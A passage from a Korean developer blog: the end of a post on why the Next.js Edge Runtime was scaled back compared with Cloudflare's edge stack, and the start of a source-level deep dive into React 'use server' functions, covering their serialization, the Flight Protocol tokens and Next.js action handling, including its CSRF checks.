- [Durable Objects](https://developers.cloudflare.com/durable-objects/) — Edge 환경에서 가장 어려운 문제인 "분산 상태 관리"를 해결하기 위한 구조다. 각 Object가 고유한 ID를 가지고 단일 위치에서 실행되면서 상태를 유지한다. 실시간 협업, 채팅, 게임 같은 유스케이스를 Edge에서 처리할 수 있게 한다.
- [R2](https://developers.cloudflare.com/r2/) — S3 호환 오브젝트 스토리지. egress 비용이 없다.

Vercel의 Edge Runtime은 컴퓨트만 Edge에 올리고 데이터는 기존 인프라(AWS RDS, PlanetScale 등)에 의존하도록 했다. Cloudflare는 컴퓨트와 데이터를 모두 Edge에 올렸다. 이 차이가 결정적이었다.

**둘째, Node.js 호환성을 점진적으로 확보했다.** Cloudflare도 초기에는 Web API only였지만, [2025년 한 해 동안 11개 핵심 Node.js 모듈](https://blog.cloudflare.com/nodejs-workers-2025/)(`node:crypto`, `node:fs`, `node:http`, `node:net` 등)을 네이티브로 구현했다. 폴리필이 아니라 C++/TypeScript로 런타임에 직접 구현한 것이다. 그 결과 Express, Koa 같은 프레임워크와 jsonwebtoken, passport, knex 같은 주요 npm 패키지가 Workers에서 동작하게 되었다. Vercel Edge Runtime이 "Web API만 쓸 수 있다"는 제약을 유지한 것과 대조적이다.

**셋째, 인프라를 직접 소유하고 있다.** Cloudflare는 전 세계 330개 이상의 도시에 자체 네트워크를 운영하는 CDN 사업자다. Edge 노드를 추가하는 것이 비즈니스 자체이고, Workers는 그 인프라 위에서 돌아간다. 반면 Vercel은 AWS 위에 구축된 플랫폼이다. Edge를 확장할수록 AWS에 지불하는 비용이 늘어나는 구조다. 인프라를 직접 소유한 Cloudflare와 인프라를 임대하는 Vercel은 Edge에 대한 경제적 인센티브가 근본적으로 달랐다.

정리하면, Cloudflare의 접근은 "기존 Node.js 앱을 Edge에서 돌리자"가 아니라 "Edge-native 스택을 처음부터 만들자"였다. 컴퓨트, 데이터, 호환성, 인프라 — 네 가지를 모두 갖추었기 때문에 같은 Edge인데도 다른 결과를 낼 수 있었다.

### Turso/libSQL: 분산 데이터베이스

[Turso](https://turso.tech/)는 SQLite 기반의 Edge 데이터베이스로, 읽기 복제본을 전 세계 Edge에 배치하는 방식이다. 쓰기는 프라이머리 리전에서 처리하되, 읽기는 가장 가까운 복제본에서 처리한다.

```text
[사용자: 서울] → [Edge 노드: 서울] → [Turso 읽기 복제본: 서울]
                                     RTT: ~2ms ✓
```

이런 접근이라면 Edge Computing의 레이턴시 약속을 실제로 지킬 수 있다. 다만 아직 생태계가 성숙하지 않았고, 쓰기 작업에는 여전히 한계가 있다.

## 교훈: 플랫폼이 미는 기술을 어디까지 따라가야 하는가

Next.js Edge Runtime의 역사에서 몇 가지 교훈을 끌어낼 수 있다.

### 1. 벤더의 인센티브를 읽어라

Vercel이 Edge를 강력히 밀었던 이유를 생각해 보자. Edge Computing은 Vercel의 비즈니스 모델에 유리했다. Edge Function은 Node.js Serverless보다 **리소스 소모가 적고** (V8 Isolate는 풀 Node.js 런타임보다 가볍다), **전 세계에 분산 배치**되므로 인프라 활용률이 높다. 기술적 우수성과 비즈니스 인센티브가 일치할 때, 기술 기업은 그 기술을 과대평가하는 경향이 있다.

이것이 Vercel만의 문제는 아니다.

- **Google과 AMP**: Google은 모바일 웹 성능을 명분으로 AMP를 밀었지만, AMP 페이지는 Google의 캐시 서버에서 서빙되어 트래픽이 Google을 경유하는 구조였다. 검색 결과 상단 캐러셀에 AMP 페이지를 우대하면서 사실상 채택을 강제했고, 퍼블리셔들은 "AMP를 안 쓰면 검색 노출에서 불이익"이라는 압박 속에서 도입했다. 결국 [2021년 AMP 우대 정책을 폐지](https://developers.google.com/search/blog/2021/04/more-details-page-experience)했고, AMP 채택률은 급감했다.
- **Serverless 만능론**: AWS Lambda가 등장하면서 "모든 것을 Serverless로"라는 흐름이 있었다. 서버 관리 부담 제거, 자동 스케일링, 사용한 만큼만 과금 — 매력적인 약속이었다. 하지만 콜드 스타트, 실행 시간 제한, 로컬 상태 불가, 디버깅 어려움 같은 현실적 제약이 드러나면서, 결국 대부분의 팀이 Serverless와 전통적 서버를 혼합하는 하이브리드 아키텍처로 정착했다. "모든 것을 Edge로" → "적절한 곳에만 Edge를"이라는 과정은 이 패턴과 정확히 동일하다.

### 2. "이론상 빠르다"와 "실제로 빠르다"를 구분하라

Edge Runtime은 이론상 빠르다. 사용자와 가까운 곳에서 실행되니까. 하지만 실제 애플리케이션의 성능은 네트워크 홉 하나가 아니라 **전체 요청 체인**으로 결정된다. DB 쿼리, 외부 API 호출, 인증 검증 — 이 모든 것을 포함한 end-to-end 레이턴시를 측정해야 한다.

새로운 기술을 도입할 때 벤치마크가 **어떤 조건에서** 측정되었는지를 항상 확인해야 한다. "Edge에서 Hello World가 5ms에 응답합니다"는 실제 프로덕션 성능과 아무 관련이 없다.

### 3. 생태계 호환성은 협상 불가다

아무리 좋은 런타임이라도 기존 생태계와 호환되지 않으면 채택되기 어렵다. Deno가 이 교훈을 배우고 Node.js 호환성을 강화한 것처럼, Edge Runtime도 Node.js API 호환성을 갖추지 못한 것이 치명적이었다.

Cloudflare도 이를 인식하고 Workers에 [Node.js 호환 레이어](https://developers.cloudflare.com/workers/runtime-apis/nodejs/)를 추가하고 있다. `node:crypto`, `node:buffer`, `node:stream` 등을 점진적으로 지원하는 방식이다. 런타임의 미래는 "새로운 API"가 아니라 "기존 API의 어디서든 실행"일 수 있다.

### 4. 좁은 성공을 넓게 적용하지 마라

Middleware는 Edge의 성공 사례였다. 가볍고, DB가 필요 없고, 의존성이 적고, 모든 요청에 실행되므로 낮은 레이턴시가 중요하다. Edge Computing의 장점이 정확히 들어맞는 유스케이스다.

문제는 이 성공을 보고 "그러면 API Route도, SSR도 Edge에서 하면 되겠네?"라고 확장한 것이다. 하지만 Middleware가 성공한 조건 — DB 불필요, npm 의존성 최소, 가벼운 로직 — 은 대부분의 서버 사이드 코드에 해당하지 않는다. API Route는 DB에 접근해야 하고, SSR은 온갖 라이브러리를 사용한다.

이 패턴은 소프트웨어 엔지니어링에서 반복적으로 나타난다. 마이크로서비스가 Netflix에서 성공했다고 해서 10명짜리 팀에 마이크로서비스를 도입하는 것, 모노레포가 Google에서 성공했다고 해서 모든 조직에 모노레포를 적용하는 것. 특정 조건에서의 성공은 그 조건이 있었기 때문이지, 기술 자체가 범용적으로 우월하기 때문이 아니다. 기술을 도입하기 전에 "이 기술이 성공한 조건이 우리에게도 해당하는가?"를 먼저 물어야 한다.

## 결론

Next.js Edge Runtime의 역사는 "기술의 실패"가 아니라 "적용 범위의 과대확장과 축소"였다. Edge Computing 자체는 유효한 기술이고, Middleware, OG Image 생성, 정적 콘텐츠 서빙, Cloudflare의 Edge-native 스택에서 보듯 적절한 유스케이스에서는 여전히 강력하다. 문제는 특정 유스케이스에서의 성공을 범용 런타임으로 확장하려 했던 것이다.

우리가 기억해야 할 것은 이것이다: **기술의 가치는 그 기술이 해결하는 문제의 범위로 결정되는 것이지, 플랫폼이 부여하는 포지셔닝으로 결정되는 것이 아니다.** 다음에 또 특정 기술이 만능처럼 밀어질 때, Edge Runtime의 교훈을 떠올리면 된다.

---

Source: https://yceffort.kr/2026/03/react-server-functions-deep-dive.md
Title: React 서버 함수 딥다이브: <em>"use server"</em>의 끝까지
Description: "use server" 한 줄 뒤에서 무슨 일이 벌어지고 있는가?
Date: 2026-03-09
Tags: react, nextjs, frontend
Series: 디렉티브 딥다이브

## Table of Contents

## 서론

```tsx
async function createPost(formData: FormData) {
  'use server'
  const title = formData.get('title')
  await db.posts.create({title})
}
```

`"use server"` 한 줄. 이걸 함수 본문 첫 줄에 적는 순간, 이 함수는 더 이상 일반 함수가 아니다. 클라이언트에서 호출할 수 있는 **서버 엔드포인트**가 된다. 전통적인 백엔드에서 라우터를 정의하고, 미들웨어를 설정하고, 요청을 파싱하고, 응답을 직렬화하는 그 모든 과정이 이 한 줄 뒤에 숨어있다.

React 공식 문서에서는 2024년 9월부터 용어를 정리했다[^1].

- **서버 함수(Server Function)**: `"use server"`로 표시된 모든 비동기 함수
- **서버 액션(Server Action)**: 서버 함수 중 `action` prop에 전달되거나, action 내부에서 호출되는 것

즉, 모든 서버 액션은 서버 함수이지만, 모든 서버 함수가 서버 액션인 것은 아니다. 이 글에서는 "서버 함수"라는 공식 용어를 사용한다.

이 글에서는 `"use server"` 한 줄이 만들어내는 모든 것을 파헤친다. 빌드 타임에 코드가 어떻게 변환되는지, 클라이언트에서 호출하면 네트워크에서 무슨 일이 벌어지는지, 인자는 어떻게 직렬화되는지, 클로저 변수는 어떻게 암호화되는지, 그리고 왜 보안에 각별히 신경 써야 하는지까지.

> 이 글의 소스 코드 분석은 **React 19.2**, **Next.js 16.1** 기준이다. 버전에 따라 내부 구현이 달라질 수 있다.

## RPC: 서버 함수의 뿌리

서버 함수를 이해하려면 RPC(Remote Procedure Call)부터 알아야 한다. RPC는 "원격 서버의 함수를 마치 로컬 함수처럼 호출하는 프로토콜"이다.

```ts
// 전통적인 방식: HTTP 요청의 모든 세부사항을 직접 작성
const response = await fetch('/api/posts', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({title: '새 글', content: '본문'}),
})
const post = await response.json()

// RPC 방식: 네트워크의 존재를 숨긴다
const post = await createPost({title: '새 글', content: '본문'})
```

RPC의 핵심은 네트워크 통신을 **추상화**하는 것이다. 호출하는 쪽은 이 함수가 로컬에서 실행되는지, 지구 반대편 서버에서 실행되는지 알 필요가 없다. 그리고 이 추상화를 가능하게 하는 기술이 **직렬화(Serialization)** 와 **역직렬화(Deserialization)** 다.

```mermaid
sequenceDiagram
    participant C as 클라이언트
    participant S as 서버

    Note over C: 1. 함수 호출: createPost({ title: '새 글' })
    Note over C: 2. 직렬화: 함수 ID + 인자를 바이트로 변환
    C->>S: HTTP POST 요청
    Note over S: 3. 역직렬화: 함수 ID로 실제 함수 탐색
    Note over S: 4. 인자를 복원하여 함수 실행
    Note over S: 5. 결과를 직렬화
    S-->>C: HTTP 응답
    Note over C: 6. 역직렬화 → 결과를 로컬 값으로 사용
```

gRPC, JSON-RPC, XML-RPC 등이 대표적인 RPC 프로토콜이다. React의 서버 함수도 본질적으로 같은 메커니즘이지만, **Flight Protocol**이라는 자체 직렬화 포맷과 React 컴포넌트 트리가 통합되어 있다는 점이 다르다.

Flight Protocol은 React 팀이 RSC(React Server Components)를 위해 만든 **커스텀 스트리밍 직렬화 포맷**이다. 서버 컴포넌트의 렌더링 결과를 클라이언트로 전송하거나(Server → Client), 서버 함수를 호출할 때 인자와 반환값을 전달하는(Client → Server) 양방향 통신에 사용된다. JSON의 한계(함수, `undefined`, `Date`, 순환 참조 등 미지원)를 넘어서, React 엘리먼트 트리, 서버 참조, Promise, `Map`, `Set` 등을 행 기반 청크(chunk) 단위로 스트리밍할 수 있다. 이 글에서 다루는 `$h`, `$D`, `$n` 같은 접두사 토큰이 모두 Flight Protocol의 인코딩 규칙이다.

### RPC의 오래된 함정: 분산 컴퓨팅의 8가지 오류

RPC는 1984년에 발표된 개념이다. Java RMI, CORBA, DCOM 등 수많은 시도가 있었고, 대부분 실패했다. 왜 실패했을까? 1994년에 정리된 "분산 컴퓨팅의 8가지 오류(Eight Fallacies of Distributed Computing)"[^2]가 핵심을 찌른다. 개발자들이 네트워크에 대해 무의식적으로 가정하는 8가지가 전부 틀렸다는 것이다.

서버 함수와 직접적으로 부딪히는 오류 네 가지를 먼저 보자.

- **"네트워크는 신뢰할 수 있다"** — 서버 함수 호출은 언제든 실패할 수 있다. `try/catch` 없이 호출하면 사용자는 아무 피드백 없이 멈춘 화면을 보게 된다.
- **"지연 시간은 0이다"** — 로컬 함수 호출은 나노초지만, 서버 함수는 밀리초~초 단위다. `for` 루프 안에서 100번 호출하면 100번의 네트워크 왕복이 발생한다.
- **"대역폭은 무한하다"** — 직렬화된 인자와 응답은 크기가 있다. 거대한 객체를 인자로 넘기면 그대로 네트워크 비용이 된다.
- **"네트워크는 안전하다"** — 서버 함수의 인자는 HTTP 요청으로 전달된다. 중간에서 가로챌 수 있고, 조작할 수도 있다.

나머지 네 가지(토폴로지 변화, 관리 주체, 전송 비용, 네트워크 이질성)도 대규모 서비스에서는 무시할 수 없지만, 프론트엔드 개발에서 체감하는 건 위 네 가지다.

React 팀은 이 문제를 알고 있다. 공식 문서에서 서버 함수를 사용할 때 `useActionState`나 `useTransition`과 함께 사용하도록 가이드한다[^1]. pending 상태, 에러 처리, optimistic update 같은 네트워크 고유의 문제를 명시적으로 다루게 하는 것이다. **"네트워크를 숨기되, 네트워크의 특성은 드러낸다"** — 이것이 과거 RPC 실패로부터 배운 교훈이다.

## 빌드 타임 변환: "use server"가 실제로 하는 일

`"use server"` 디렉티브는 런타임에 아무런 효과가 없다. 진짜 일은 **빌드 타임**에 벌어진다.

### registerServerReference: 함수에 메타데이터 찍기

번들러(webpack, Turbopack)가 `"use server"` 디렉티브를 발견하면, React의 `registerServerReference` 함수를 호출해서 해당 함수 객체에 메타데이터를 **프로퍼티로 주입**한다. 이 함수의 실제 구현은 `react-server-dom-webpack` 패키지에 있다[^3].

```js
// react-server-dom-webpack/src/ReactFlightWebpackReferences.js

const SERVER_REFERENCE_TAG = Symbol.for('react.server.reference')

export function registerServerReference(reference, id, exportName) {
  return Object.defineProperties(reference, {
    $$typeof: {value: SERVER_REFERENCE_TAG},
    $$id: {
      value: exportName === null ? id : id + '#' + exportName,
      configurable: true,
    },
    $$bound: {value: null, configurable: true},
    bind: {value: bind, configurable: true},
  })
}
```

핵심은 `Object.defineProperties`다. 원래 함수 객체 위에 세 개의 특수 속성을 덮어쓴다.

| 속성       | 값                                     | 설명                                         |
| ---------- | -------------------------------------- | -------------------------------------------- |
| `$$typeof` | `Symbol.for('react.server.reference')` | 이 함수가 서버 참조임을 식별하는 태그        |
| `$$id`     | `"moduleId#exportName"`                | 서버에서 함수를 찾기 위한 고유 식별자        |
| `$$bound`  | `null`                                 | `.bind()`로 바인딩된 인자들. 초기값은 `null` |

`$$id`의 형식이 중요하다. `moduleId + '#' + exportName`이다. 예를 들어 `app/actions.ts`에서 `createPost`를 export하면, ID는 `"app/actions.ts#createPost"` 같은 형태가 된다. Next.js에서는 이 ID가 해싱되어 **42자 길이의 문자열**로 변환된다.

### 클라이언트/SSR 측의 다른 구현

여기서 주의할 점이 있다. 위 코드는 **RSC 서버 레이어**의 구현이다. 클라이언트/SSR 레이어에는 같은 이름이지만 **완전히 다른 구현**이 존재한다[^4].

```js
// react-client/src/ReactFlightReplyClient.js

function registerBoundServerReference(reference, id, bound, encodeFormAction) {
  knownServerReferences.set(reference, {
    id: id,
    originalBind: reference.bind,
    bound: bound,
  })
  Object.defineProperties(reference, {
    $$FORM_ACTION: {value: encodeFormAction || defaultEncodeFormAction},
    $$IS_SIGNATURE_EQUAL: {value: isSignatureEqual},
    bind: {value: bind},
  })
}
```

두 구현의 차이를 정리하면 다음과 같다.

|                     | RSC 서버 (`ReactFlightWebpackReferences`)         | 클라이언트/SSR (`ReactFlightReplyClient`)                    |
| ------------------- | ------------------------------------------------- | ------------------------------------------------------------ |
| **실행 환경**       | RSC 서버 (Flight 직렬화 시)                       | 브라우저, SSR                                                |
| **메타데이터 저장** | `Object.defineProperties`로 함수에 직접           | `WeakMap`(`knownServerReferences`)에 저장                    |
| **주입하는 속성**   | `$$typeof`, `$$id`, `$$bound`, `bind`             | `$$FORM_ACTION`, `$$IS_SIGNATURE_EQUAL`, `bind`              |
| **목적**            | Flight 직렬화 시 서버 참조 식별 (`$$typeof` 체크) | Progressive Enhancement (`$$FORM_ACTION`), HMR 시그니처 비교 |

RSC 서버는 컴포넌트 트리를 직렬화할 때 `$$typeof === Symbol.for('react.server.reference')`를 확인해서 `$h` 토큰으로 변환한다. 클라이언트/SSR 측은 서버 참조를 직렬화할 필요가 없으므로 `$$typeof`가 불필요하고, 대신 JS 없이 폼을 제출하기 위한 `$$FORM_ACTION`이 필요하다. WeakMap을 쓰는 이유는 함수 객체에 불필요한 프로퍼티를 노출하지 않기 위해서다.

Turbopack도 `react-server-dom-turbopack/src/ReactFlightTurbopackReferences.js`에서 동일한 `$$typeof`/`$$id`/`$$bound` 패턴을 사용한다. 다만, Turbopack은 RSC 레이어와 SSR 레이어를 **같은 청크 파일 안에서 서로 다른 모듈 평가 컨텍스트**로 로드하기 때문에, 빌드 결과물을 정적으로 분석(grep)하면 클라이언트 측의 WeakMap 구현만 보인다. RSC 컨텍스트에서는 `$$typeof` 버전이 런타임에 로드된다.

### .bind() 오버라이드: 바인딩된 인자 누적

서버 함수에 렌더링 시점에 알 수 있는 값을 미리 묶어두고 싶을 때 `.bind()`를 사용한다. 예를 들어, 게시글 목록에서 각 삭제 버튼에 해당 게시글의 ID를 바인딩하는 식이다.

```tsx
// Server Component
export default async function PostList() {
  const posts = await db.posts.findMany()
  return posts.map((post) => (
    <form key={post.id} action={deletePost.bind(null, post.id)}>
      <button type="submit">삭제</button>
    </form>
  ))
}
```

문제는, 일반 `Function.prototype.bind`를 그대로 쓰면 반환된 함수에 `$$typeof`, `$$id` 같은 서버 참조 메타데이터가 사라진다는 점이다. React는 이 메타데이터로 "이 함수가 서버 참조인지"를 판단하므로, `.bind()`의 결과물도 여전히 서버 참조로 인식되어야 한다. 그래서 `registerServerReference`는 `.bind()`를 오버라이드해서, 메타데이터를 유지하면서 바인딩된 인자를 `$$bound` 배열에 **누적**하는 커스텀 구현으로 대체한다. (클라이언트 측에서는 WeakMap의 `bound`에 누적된다.)

```js
// RSC 서버 측: react-server-dom-webpack/src/ReactFlightWebpackReferences.js

function bind() {
  const newFn = FunctionBind.apply(this, arguments)
  if (this.$$typeof === SERVER_REFERENCE_TAG) {
    const args = ArraySlice.call(arguments, 1)
    return Object.defineProperties(newFn, {
      $$typeof: {value: SERVER_REFERENCE_TAG},
      $$id: {value: this.$$id},
      $$bound: {
        value: this.$$bound ? this.$$bound.concat(args) : args,
      },
      bind: {value: bind, configurable: true},
    })
  }
  return newFn
}
```

`.bind()`를 여러 번 체이닝해도 인자가 올바르게 누적된다.

```ts
const fn1 = deletePost.bind(null, userId) // $$bound: [userId]
const fn2 = fn1.bind(null, postId) // $$bound: [userId, postId]
```

### 서버 번들과 클라이언트 번들의 분리

원본 코드가 빌드 타임에 어떻게 분리되는지 구체적으로 보자.

```tsx
// 원본: app/actions.ts
'use server'

export async function createPost(formData: FormData) {
  const title = formData.get('title')
  await db.posts.create({title})
}
```

**서버 번들**: 원본 함수가 그대로 포함되고, `registerServerReference`로 메타데이터가 주입된다.

```js
// 서버 번들
import {registerServerReference} from 'react-server-dom-webpack/server'

async function createPost(formData) {
  const title = formData.get('title')
  await db.posts.create({title})
}

registerServerReference(createPost, 'abc123def456...', 'createPost')
```

**클라이언트 번들**: 함수 본문이 완전히 제거되고, `createServerReference`로 프록시 함수가 생성된다.

```js
// 클라이언트 번들
import {createServerReference} from 'react-server-dom-webpack/client'

export const createPost = createServerReference(
  'abc123def456...#createPost',
  callServer, // 프레임워크(Next.js)가 제공하는 콜백
)
```

`db.posts.create`도, `formData.get`의 로직도 클라이언트 번들에는 존재하지 않는다. 클라이언트가 받는 것은 서버로 HTTP 요청을 보내는 **프록시 함수**뿐이다.

## 클라이언트의 서버 참조: callServer의 정체

클라이언트에서 서버 함수를 호출하면 실제로 무슨 일이 벌어지는가? 위에서 본 `createServerReference`의 구현을 살펴보자.

```js
// react-client/src/ReactFlightReplyClient.js

export function createServerReference(id, callServer, encodeFormAction) {
  let action = function () {
    const args = Array.prototype.slice.call(arguments)
    return callServer(id, args)
  }
  registerBoundServerReference(action, id, null, encodeFormAction)
  return action
}
```

놀랍도록 단순하다. 서버 함수를 호출하면 **인자를 배열로 수집**하고, `callServer(id, args)`를 호출하는 것이 전부다.

`callServer`는 React가 아닌 **프레임워크(Next.js)가 주입하는 콜백**이다[^4]. React의 Flight 클라이언트를 초기화할 때 전달한다.

```js
// React Flight 클라이언트 초기화 시
this._callServer = callServer !== undefined ? callServer : missingCall

function missingCall() {
  throw new Error(
    'Trying to call a function from "use server" but the callServer ' +
      'option was not implemented in your router runtime.',
  )
}
```

`callServer`가 없으면 에러가 난다. Next.js 없이 React만으로는 서버 함수를 호출할 수 없다는 뜻이다. React는 프로토콜을 정의하고, Next.js가 구현한다.

### 바운드 인자가 있는 경우

`.bind()`나 클로저로 바인딩된 인자가 있으면 `createBoundServerReference`가 사용된다. 이 경우 바운드 인자를 호출 시점의 인자 앞에 붙인다.

```js
// react-client/src/ReactFlightReplyClient.js

export function createBoundServerReference(metaData, callServer) {
  const {id, bound} = metaData

  let action = function () {
    const args = Array.prototype.slice.call(arguments)
    const p = bound

    if (!p) {
      return callServer(id, args)
    }

    // bound는 Promise<Array<any>>
    if (p.status === 'fulfilled') {
      const boundArgs = p.value
      return callServer(id, boundArgs.concat(args))
    }

    return Promise.resolve(p).then(function (boundArgs) {
      return callServer(id, boundArgs.concat(args))
    })
  }

  registerBoundServerReference(action, id, bound)
  return action
}
```

`bound`가 `Promise`인 이유는 클로저 변수의 복호화가 비동기 작업이기 때문이다(뒤에서 상세히 다룬다). `p.status === 'fulfilled'` 체크는 이미 resolve된 Promise를 동기적으로 처리하는 최적화다.

## 인자 직렬화: processReply

클라이언트에서 서버 함수를 호출하면, 인자가 네트워크를 통해 전달되어야 한다. 이 직렬화를 담당하는 것이 `processReply` 함수다.

### JSON vs FormData: 두 가지 경로

`processReply`는 인자의 복잡도에 따라 두 가지 방식으로 직렬화한다.

```js
// react-client/src/ReactFlightReplyClient.js

export function processReply(
  root,
  formFieldPrefix,
  temporaryReferences,
  resolve,
  reject,
) {
  let nextPartId = 1
  let pendingParts = 0
  let formData = null

  const json = serializeModel(root, 0)

  if (formData === null) {
    resolve(json) // 단순한 경우: JSON 문자열
  } else {
    formData.set(formFieldPrefix + '0', json)
    if (pendingParts === 0) {
      resolve(formData) // 복잡한 경우: FormData
    }
  }
}
```

**JSON 경로**: 인자가 원시 타입, 배열, 일반 객체만으로 구성된 경우. 가장 가볍다.

```text
// incrementLike(42) 호출 시
"42"
```

**FormData 경로**: Blob, ReadableStream, 다른 서버 참조 등 복잡한 타입이 포함된 경우. `FormData`의 각 파트에 개별 값을 넣는다.

```text
------WebKitFormBoundary
Content-Disposition: form-data; name="0"
42
------WebKitFormBoundary
Content-Disposition: form-data; name="1"
[Blob data]
------WebKitFormBoundary--
```

### Flight Protocol의 $ 접두사 토큰

`serializeModel` 내부에서 JSON으로 표현할 수 없는 값들은 `$` 접두사가 붙은 특수 토큰으로 인코딩된다. 실제 React 소스에서 사용되는 전체 토큰 테이블이다.

| 토큰            | 의미             | 예시                         |
| --------------- | ---------------- | ---------------------------- |
| `$` + hex       | 인라인 참조      | `$3` → 3번 청크 참조         |
| `$@` + hex      | Promise          | 비동기 값                    |
| `$h` + hex      | 서버 참조        | `$h5` → 5번 청크의 서버 함수 |
| `$K` + hex      | FormData         |                              |
| `$Q` + hex      | Map              |                              |
| `$W` + hex      | Set              |                              |
| `$B` + hex      | Blob             |                              |
| `$A` + hex      | ArrayBuffer      |                              |
| `$R` + hex      | ReadableStream   |                              |
| `$D` + dateJSON | Date             | `$D2026-03-09T00:00:00.000Z` |
| `$n` + digits   | BigInt           | `$n12345678901234567890`     |
| `$S` + name     | Symbol.for()     | `$Smy-symbol`                |
| `$-0`           | -0 (음의 영)     |                              |
| `$Infinity`     | Infinity         |                              |
| `$-Infinity`    | -Infinity        |                              |
| `$NaN`          | NaN              |                              |
| `$undefined`    | undefined        |                              |
| `$$`            | 이스케이프된 `$` | 문자열에 `$`가 포함된 경우   |

JSON이 표현할 수 없는 `undefined`, `NaN`, `Infinity`, `-0`, `BigInt`, `Date` 등을 모두 커버한다. 일반적인 JSON-RPC보다 타입 지원 범위가 훨씬 넓다.

### 서버 함수를 인자로 전달할 때

서버 함수 자체를 다른 서버 함수의 인자로 전달할 수 있다. 이 경우 `knownServerReferences` WeakMap에서 해당 함수의 ID와 바운드 인자를 찾아 `$h` 토큰으로 직렬화한다.

```js
// resolveToJSON 내부
if (typeof value === 'function') {
  const referenceClosure = knownServerReferences.get(value)
  if (referenceClosure !== undefined) {
    const {id, bound} = referenceClosure
    const json = JSON.stringify({id, bound}, resolveToJSON)
    if (formData === null) {
      formData = new FormData()
    }
    const refId = nextPartId++
    formData.set(formFieldPrefix + refId, json)
    return serializeServerReferenceID(refId) // "$h" + hex
  }
}
```

직렬화 불가능한 일반 함수(서버 함수가 아닌)를 전달하면 에러가 난다.

### 직렬화 가능/불가능 타입 정리

**직렬화 가능**:

| 타입                                                         | 비고                            |
| ------------------------------------------------------------ | ------------------------------- |
| `string`, `number`, `bigint`, `boolean`, `undefined`, `null` | 원시 타입                       |
| `Symbol.for('name')`                                         | 전역 레지스트리에 등록된 심볼만 |
| `Array`, `Map`, `Set`, `TypedArray`, `ArrayBuffer`           | 이터러블                        |
| `Date`, `FormData`, `Promise`                                | 내장 객체                       |
| 일반 객체 (`{}`, `{ key: value }`)                           | object initializer로 생성된 것  |
| 서버 함수                                                    | `"use server"`로 표시된 함수    |

**직렬화 불가능**:

| 타입                                         | 이유                           |
| -------------------------------------------- | ------------------------------ |
| 일반 함수, 화살표 함수                       | 코드는 네트워크를 넘을 수 없다 |
| 클래스 인스턴스                              | 프로토타입 체인 복원 불가      |
| React 엘리먼트 (JSX)                         | 컴포넌트 함수 포함             |
| DOM 이벤트 객체                              | 순환 참조, 네이티브 객체       |
| null 프로토타입 객체 (`Object.create(null)`) |                                |
| 전역 레지스트리에 없는 `Symbol()`            |                                |

```tsx
// ❌ 이벤트 객체 전달 불가
<button onClick={(e) => serverFn(e)}>

// ✅ 필요한 값만 전달
<button onClick={() => serverFn(someId)}>
```

## 서버 측 처리: Next.js의 Action Handler

클라이언트에서 보낸 POST 요청이 서버에 도착하면, Next.js의 `handleAction` 함수가 전체 라이프사이클을 처리한다.

### 1단계: 요청 감지

```ts
// next/src/server/app-render/server-action-request-meta.ts

function getServerActionRequestMetadata(req) {
  const actionId = req.headers.get('next-action') // Action ID
  const contentType = req.headers.get('content-type')

  const isFetchAction = actionId && req.method === 'POST'
  const isMultipartAction =
    req.method === 'POST' && contentType?.startsWith('multipart/form-data')
  const isURLEncodedAction =
    req.method === 'POST' && contentType === 'application/x-www-form-urlencoded'

  return {actionId, isFetchAction, isMultipartAction, isURLEncodedAction}
}
```

서버 함수 요청은 두 가지 경로로 들어온다.

- **Fetch Action (SPA)**: JavaScript가 로드된 상태에서 호출. `Next-Action` 헤더에 Action ID가 있다.
- **MPA Action (Progressive Enhancement)**: JavaScript 없이 폼 제출. `Next-Action` 헤더가 없고, FormData 안에 `$ACTION_ID_<hash>` 필드가 있다.

### 2단계: CSRF 보호

```ts
// next/src/server/app-render/csrf-protection.ts

const originDomain = new URL(originHeader).host
const host = parseHostHeader(req.headers) // X-Forwarded-Host 우선, Host 차선

if (!originDomain) {
  // 경고만 — 오래된 브라우저는 Origin을 안 보낼 수 있다
} else if (!host || originDomain !== host.value) {
  if (isCsrfOriginAllowed(originDomain, serverActions?.allowedOrigins)) {
    // next.config.js의 allowedOrigins에 허용된 도메인
  } else {
    throw new Error('Invalid Server Actions request.') // CSRF 차단
  }
}
```

`Origin` 헤더와 `Host` 헤더(또는 `X-Forwarded-Host`)를 비교한다[^5]. 불일치하면 요청을 거부한다. `isCsrfOriginAllowed`는 `*.example.com` 같은 와일드카드 도메인 매칭을 지원해서 리버스 프록시 환경을 수용한다.

CSRF 토큰은 사용하지 않는다. POST 전용 + Origin 검증으로 대부분의 CSRF를 막지만, **XSS가 있으면 같은 origin에서 서버 함수를 호출할 수 있다**는 점에 주의해야 한다.

### 3단계: Action ID → 함수 탐색

Action ID로 실제 함수를 찾는 과정이다.

```ts
// next/src/server/app-render/action-handler.ts

function getActionModIdOrError(actionId, serverModuleMap) {
  const actionModId = serverModuleMap[actionId]?.id

  if (!actionModId) {
    throw getActionNotFoundError(actionId) // 배포 스큐 or 잘못된 요청
  }

  return actionModId
}

// 함수 로드
const actionMod = await ComponentMod.__next_app__.require(actionModId)
const actionHandler = actionMod[actionId]
```

`serverModuleMap`은 빌드 타임에 생성되는 **매니페스트**다[^6]. Action ID(42자 해시)를 모듈 경로로 매핑한다. 이 매핑이 존재하지 않으면 — 이전 빌드의 ID로 새 서버에 요청한 경우 — `getActionNotFoundError`가 던져진다. 이것이 **버전 스큐(version skew)** 문제다.

버전 스큐는 배포 직후에 자주 발생한다. 사용자가 이전 빌드의 HTML(이전 Action ID가 박힌 폼)을 보고 있는 상태에서 서버는 새 빌드로 교체된 경우다. 여기에 클로저 암호화 키까지 빌드마다 달라지므로, 이전 빌드에서 암호화된 바운드 인자도 복호화할 수 없다.

프로덕션에서 이 문제를 다루는 방법은 여러 가지다.

- **Skew Protection**: Vercel은 배포 시 이전 빌드를 즉시 내리지 않고 일정 시간 유지해서, 진행 중인 요청이 올바른 빌드로 라우팅되도록 한다.
- **`NEXT_SERVER_ACTIONS_ENCRYPTION_KEY`**: 이 환경 변수로 암호화 키를 빌드 간에 고정하면, 클로저 복호화 실패는 방지할 수 있다. 다만 Action ID 자체가 달라지는 문제는 해결하지 못한다.
- **Blue-Green 배포**: 새 빌드를 별도 환경에 올린 뒤 트래픽을 한 번에 전환한다. 전환 순간의 in-flight 요청만 실패할 수 있으므로, 전환 시점을 트래픽이 적은 때로 잡는다.
- **클라이언트 측 재시도**: 서버 함수 호출이 실패하면 `router.refresh()`로 페이지를 새로고침하여 새 빌드의 Action ID를 받아오는 패턴을 적용할 수 있다.

### 4단계: 인자 역직렬화 및 실행

```ts
// Fetch Action의 경우
const args = await decodeReply(requestBody, serverModuleMap)
const result = await actionHandler.apply(null, args)
```
